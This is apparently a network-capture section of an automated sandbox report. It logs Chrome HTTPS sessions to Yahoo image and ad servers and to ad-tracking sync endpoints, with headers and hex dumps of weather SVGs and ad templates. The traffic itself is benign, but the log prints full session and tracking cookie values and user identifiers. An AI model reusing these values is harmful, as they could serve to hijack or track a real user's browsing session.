2024-01-10 23:27:19 UTC	376	OUT	GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: GiObjY8DYliVY2H5QS+ji1hXEqrBnVPDQaarwAYr54robAjy2Xpurt0vZ1ou90UQa4NT4V3OsbE= x-amz-request-id: 9KXT71H21YJWNBA7 Date: Fri, 05 Jan 2024 02:40:50 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "93dc53d369dca8f09877c3ecc9a41de3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1695 Referrer-Policy: no-referrer-when-downgrade Age: 506790 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-01-10 23:27:19 UTC	395	IN	Data Raw: 36 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 37 36 37 20 31 30 2e 34 37 36 4c 2e 38 36 36 20 32 33 2e 35 33 43 33 2e 31 39 39 20 33 30 2e 37 36 36 20 39 2e 39 38 38 20 33 36 20 31 38 20 33 36 63 39 2e 39 34 31 20 30 20 31 38 2d 38 2e 30 35 39 20 31 38 2d 31 38 6c 2d 31 31 2e 32 33 33 2d 37 2e 35 32 34 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 37 37 33 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 2f 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 20 Data Ascii: 6)"/> <path d="M24.767 10.476L.866 23.53C3.199 30.766 9.988 36 18 36c9.941 0 18-8.059 18-18l-11.233-7.524z" fill="url(#b)" opacity=".773" transform="translate(6 6)"/> <g transform="translate(6 6)"> <use fill="url(#c)" xlink:href="#d"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	50150	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	366	OUT	GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: nvYvnI5tNmDZ8iTWL4UaLS1V/CLQnk9lf3FUWWTawnJ4LzjPt7qLQtMvxuMA9NRPjw8392urim0= x-amz-request-id: 6TK59D8H5PJ4MPGV Date: Sun, 24 Dec 2023 04:56:12 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "b182d19798f0d66ca701301e28c0034a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1087 Referrer-Policy: no-referrer-when-downgrade Age: 1535468 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:19 UTC	1087	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.4	50106	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1049	OUT	GET /sync?ssp=criteo&custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0&gdpr=&gdpr_consent=&us_privacy=&cr_user_id=k-xUr8NO1oxBdmU1nhVf4H-RCrhtpCMTHE-jBgFg HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929237
2024-01-10 23:27:19 UTC	784	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //pixel.tapad.com/idsync/ex/receive?partner_id=3205&partner_device_id=f6435827-796b-4521-81e9-11e581628f69&partner_url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D437%26ssp%3Dcriteo%26user_id%3D Set-Cookie: custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0; path=/; expires=Wed, 10-Jan-2024 23:32:19 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	50120	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	908	OUT	GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=tlt&refUrl=&vid=49292349683479308310180275000V10&ovsid=3631141743957125218505&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	680	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-tlt=3631141743957125218505~~1;Expires=Sat, 24 Feb 2024 23:27:19 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:19 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	50124	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	887	OUT	GET /pixel?google_nid=index&google_cm&google_hm=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:19 UTC	713	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ssum-sec.casalemedia.com/usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESENB3vkDtn5oxWvBwA9gFXWc&google_cver=1 Date: Wed, 10 Jan 2024 23:27:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 364 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:19 UTC	364	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 75 73 65 72 6d 61 74 63 68 72 65 64 69 72 3f 73 3d 31 38 34 30 32 33 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ssum-sec.casalemedia.com/usermatchredir?s=184023&gdpr_consent=&gdpr=&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	50168	74.6.143.22	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1293	OUT	GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1 Host: nts.media.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:19 UTC	496	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 y-rid: 7bmlqt9ipu9un x-request-id: abb6c9d4-f8c7-474d-abde-e732313c620c vary: Accept-Encoding, User-Agent x-envoy-upstream-service-time: 173 date: Wed, 10 Jan 2024 23:27:19 GMT server: ATS x-envoy-decorator-operation: monetization-templates-service--mtls-fp-production-bf1.analytics-monetization--k8s.svc.yahoo.local:4080/* Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 37 65 62 63 0d 0a 7b 22 61 64 73 22 3a 5b 7b 22 61 64 50 6f 73 69 74 69 6f 6e 22 3a 22 4d 41 53 54 22 2c 22 61 64 53 69 7a 65 22 3a 22 39 37 30 78 32 35 30 22 2c 22 70 72 65 54 61 70 41 64 46 6f 72 6d 61 74 22 3a 22 54 45 58 54 5f 4f 50 54 4f 55 54 5f 4d 4d 22 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 3c 21 2d 2d 20 4d 41 53 54 20 74 65 6d 70 6c 61 74 65 20 2d 2d 3e 5c 6e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 5c 22 73 63 72 65 65 6e 5c 22 3e 5c 6e 20 20 20 20 2e 61 63 74 2d 73 61 6e 73 2d 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 Data Ascii: 7ebc{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT_OPTOUT_MM","template":"... MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-se
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 6d 61 72 67 69 6e 3a 20 31 37 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 20 34 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 32 70 78 3b 7d 5c 6e 20 20 20 20 23 63 74 61 2d 74 65 78 74 20 7b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 33 32 70 78 3b 7d 5c 6e 20 20 20 20 23 61 63 74 2d 66 6f 6f 74 65 72 20 7b 72 69 67 68 74 3a 20 33 35 70 78 3b 62 6f 74 74 6f 6d 3a 20 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 66 6f 6e 74 3a 20 31 32 70 78 20 5c 22 48 65 Data Ascii: margin: 17px 0px 0px 0px;display: inline-block;height: 44px;border-radius: 22px;}\n #cta-text {display: inline-block;margin-top: 12px;padding-left: 32px;padding-right: 32px;}\n #act-footer {right: 35px;bottom: 12px;position: absolute;font: 12px \"He
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 35 30 25 3b 20 74 6f 70 3a 20 35 30 25 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 5c 22 3e 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 5c 22 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 35 70 78 20 30 70 78 20 30 70 78 3b 20 74 6f 70 3a 20 35 30 25 3b 20 72 69 67 68 74 3a 20 32 30 70 78 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 25 2c 20 2d 35 30 25 29 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 Data Ascii: 50%; top: 50%; position: absolute; transform: translate(-50%, -50%);\"></div>\n </div>\n <p style=\"user-select: none; margin: 0px 5px 0px 0px; top: 50%; right: 20px; transform: translate(0%, -50%); position: absolute; font-weight: b
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 77 74 4d 58 54 45 71 6b 42 6f 6a 73 67 33 34 62 5f 76 6a 4c 74 66 6a 53 45 73 30 71 41 72 58 65 2d 69 43 54 62 53 47 64 4e 70 50 5a 62 77 6b 38 6c 70 54 6a 38 62 6a 4c 34 37 65 36 64 59 46 37 73 73 30 63 4a 32 59 50 35 43 64 39 78 67 78 66 54 52 5a 67 75 42 39 56 69 55 68 36 57 77 52 47 47 50 74 47 76 76 69 41 54 54 43 6b 59 63 58 31 32 47 41 35 4e 37 4c 67 61 66 48 31 53 69 4a 74 4a 63 6c 58 64 33 4c 66 46 68 49 55 4e 69 41 45 46 4a 39 61 63 63 72 48 51 5a 49 6c 4b 35 4e 67 6f 4b 57 79 48 64 51 7a 6d 32 4a 2d 4e 68 39 71 77 62 70 39 6b 5f 78 4a 6f 68 61 51 79 66 34 59 45 6f 52 50 56 5a 47 51 61 77 63 5f 4b 72 2d 6f 77 64 4d 58 41 6c 26 61 70 3d 24 28 41 44 5f 50 4f 53 4e 29 5c 22 2c 5c 6e 20 20 20 20 5c 22 63 63 43 6f 64 65 5c 22 3a 20 5c 22 53 54 52 4d Data Ascii: wtMXTEqkBojsg34b_vjLtfjSEs0qArXe-iCTbSGdNpPZbwk8lpTj8bjL47e6dYF7ss0cJ2YP5Cd9xgxfTRZguB9ViUh6WwRGGPtGvviATTCkYcX12GA5N7LgafH1SiJtJclXd3LfFhIUNiAEFJ9accrHQZIlK5NgoKWyHdQzm2J-Nh9qwbp9k_xJohaQyf4YEoRPVZGQawc_Kr-owdMXAl&ap=$(AD_POSN)\",\n \"ccCode\": \"STRM
2024-01-10 23:27:19 UTC	285	IN	Data Raw: 46 33 58 58 32 4e 37 51 78 76 6a 32 42 47 41 6f 50 72 76 64 77 57 39 46 62 4b 59 64 52 73 4d 54 72 4b 45 78 4a 62 4e 79 71 30 36 2d 72 6a 49 59 64 59 33 57 6d 36 46 67 54 36 4d 50 75 49 76 64 32 6a 75 79 70 50 4e 6e 32 52 71 65 4b 36 49 69 4a 4c 54 33 37 34 54 75 4f 72 47 41 35 47 64 32 38 69 6f 6b 74 42 47 57 71 73 4a 2d 57 63 6b 79 62 64 30 79 7a 31 35 52 4b 67 49 59 5f 70 36 35 75 76 45 55 56 56 52 31 63 36 5f 61 31 67 42 35 56 56 54 35 32 47 74 74 31 59 69 7a 39 6f 5a 65 6d 33 45 30 6e 41 77 36 66 61 42 55 35 6b 45 2d 46 5f 48 72 36 53 61 33 74 6a 6c 6a 47 42 6d 79 62 6a 36 69 5f 63 4b 6c 31 53 46 5f 66 72 4b 57 2d 68 74 4f 62 70 63 36 50 2d 48 37 52 4a 43 45 51 47 68 50 74 4d 4d 6d 4b 30 72 6c 54 37 52 69 7a 32 53 35 62 4a 2d 36 32 31 6a 6e 53 53 2d Data Ascii: F3XX2N7Qxvj2BGAoPrvdwW9FbKYdRsMTrKExJbNyq06-rjIYdY3Wm6FgT6MPuIvd2juypPNn2RqeK6IiJLT374TuOrGA5Gd28ioktBGWqsJ-Wckybd0yz15RKgIY_p65uvEUVVR1c6_a1gB5VVT52Gtt1Yiz9oZem3E0nAw6faBU5kE-F_Hr6Sa3tjljGBmybj6i_cKl1SF_frKW-htObpc6P-H7RJCEQGhPtMMmK0rlT7Riz2S5bJ-621jnSS-
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 37 4e 48 30 33 58 5f 78 6b 34 6e 7a 52 37 31 34 50 69 34 43 6d 35 36 4c 6f 52 57 53 61 33 77 42 2d 5a 69 61 52 39 2d 66 71 32 7a 31 76 63 4a 48 52 56 63 5a 66 4f 57 4c 76 6e 41 61 70 45 41 71 32 6a 36 69 79 6f 51 62 5f 79 78 4c 53 61 50 45 42 6a 75 44 48 64 77 6f 6c 50 6b 7a 6c 42 41 2d 44 52 6d 6c 54 34 5a 4b 74 70 72 7a 46 58 6d 79 39 38 7a 52 51 32 34 6c 42 56 6c 73 71 61 57 65 6a 34 56 61 79 68 65 58 50 5a 5f 6c 43 54 6a 64 44 30 74 6d 41 31 31 2d 49 64 42 62 6d 75 71 51 32 47 5a 73 36 34 44 43 41 38 70 44 4b 46 5f 63 53 36 34 6b 43 50 73 64 4f 64 4b 4c 78 69 6a 5f 6a 56 51 38 78 4f 69 49 70 44 77 4c 44 4c 7a 37 4a 34 67 6f 5f 51 63 76 43 6c 59 53 32 5f 78 65 6c 65 34 36 4f 75 49 57 6f 45 69 6c 63 71 71 62 78 32 6e 67 73 69 72 39 56 72 70 46 59 6e 75 Data Ascii: 